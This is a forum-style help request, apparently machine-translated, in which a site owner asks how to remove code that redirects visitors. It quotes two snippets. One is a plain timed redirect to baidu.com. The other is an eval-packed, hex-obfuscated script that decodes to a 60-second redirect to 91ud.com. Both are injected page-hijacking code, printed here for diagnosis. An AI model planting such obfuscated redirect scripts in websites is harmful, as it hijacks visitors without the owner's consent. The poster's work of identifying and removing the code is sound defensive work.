I scanned a website. After the
home static page opens,
will refer to external resources
after a period of time, and then jump to the original website
. I want to delete this thing
suspect snippet code one
location.href.search(new RegExp("(baidu|local)\\.com")) === -1 && setTimeout(function() {
alert(""+location.href.search(new RegExp("(baidu|local)\\.com"))+"/"+6);
location.href = "http://www.baidu.com/"
}, 6e4),suspect snippet code two
eval(function(t, e, n, i, o, r) {
if (o = function(t) {
return (t < e ? "" : o(parseInt(t / e))) + ((t %= e) > 35 ? String.fromCharCode(t + 29) : t.toString(36))
}
,
!"".replace(/^/, String)) {
for (; n--; )
r[o(n)] = i[n] || o(n);
i = [function(t) {
return r[t]
}
],
o = function() {
return "\\w+"
}
,
n = 1
}
for (; n--; )
i[n] && (t = t.replace(new RegExp("\\b" + o(n) + "\\b","g"), i[n]));
return t
}("i(7.8.l(j k("\\g\\6\\a\\e\\d\\f\\9\\4\\3\\h\\9\\m\\\\\\2\\3\\4\\c"))===-1){s(t(){7.8="\\r\\b\\b\\o\\p\\5\\5\\0\\0\\0\\2\\6\\a\\e\\d\\2\\3\\4\\c\\5"},q*n)}", 30, 30, "x77||x2e|x63|x6f|x2f|x39|location|href|x6c|x31|x74|x6d|x64|x75|x7c|x28|x61|if|new|RegExp|search|x29|1000|x70|x3a|60|x68|setTimeout|function".split("|"), 0, {})) as mentioned above, " external resources will be referenced after a period of time "
File path: debugger:/VM9432
File Code:
if(location.href.search(new RegExp("\x28\x39\x31\x75\x64\x7c\x6c\x6f\x63\x61\x6c\x29\\\x2e\x63\x6f\x6d"))===-1){setTimeout(function(){location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x39\x31\x75\x64\x2e\x63\x6f\x6d\x2f"},60*1000)} even if Code one is logged off, the website still jumps for a short time.
I suspect that the code of "external Resources" is generated through the eval () method of "suspect Code 2".
I hope God will help me take a look!
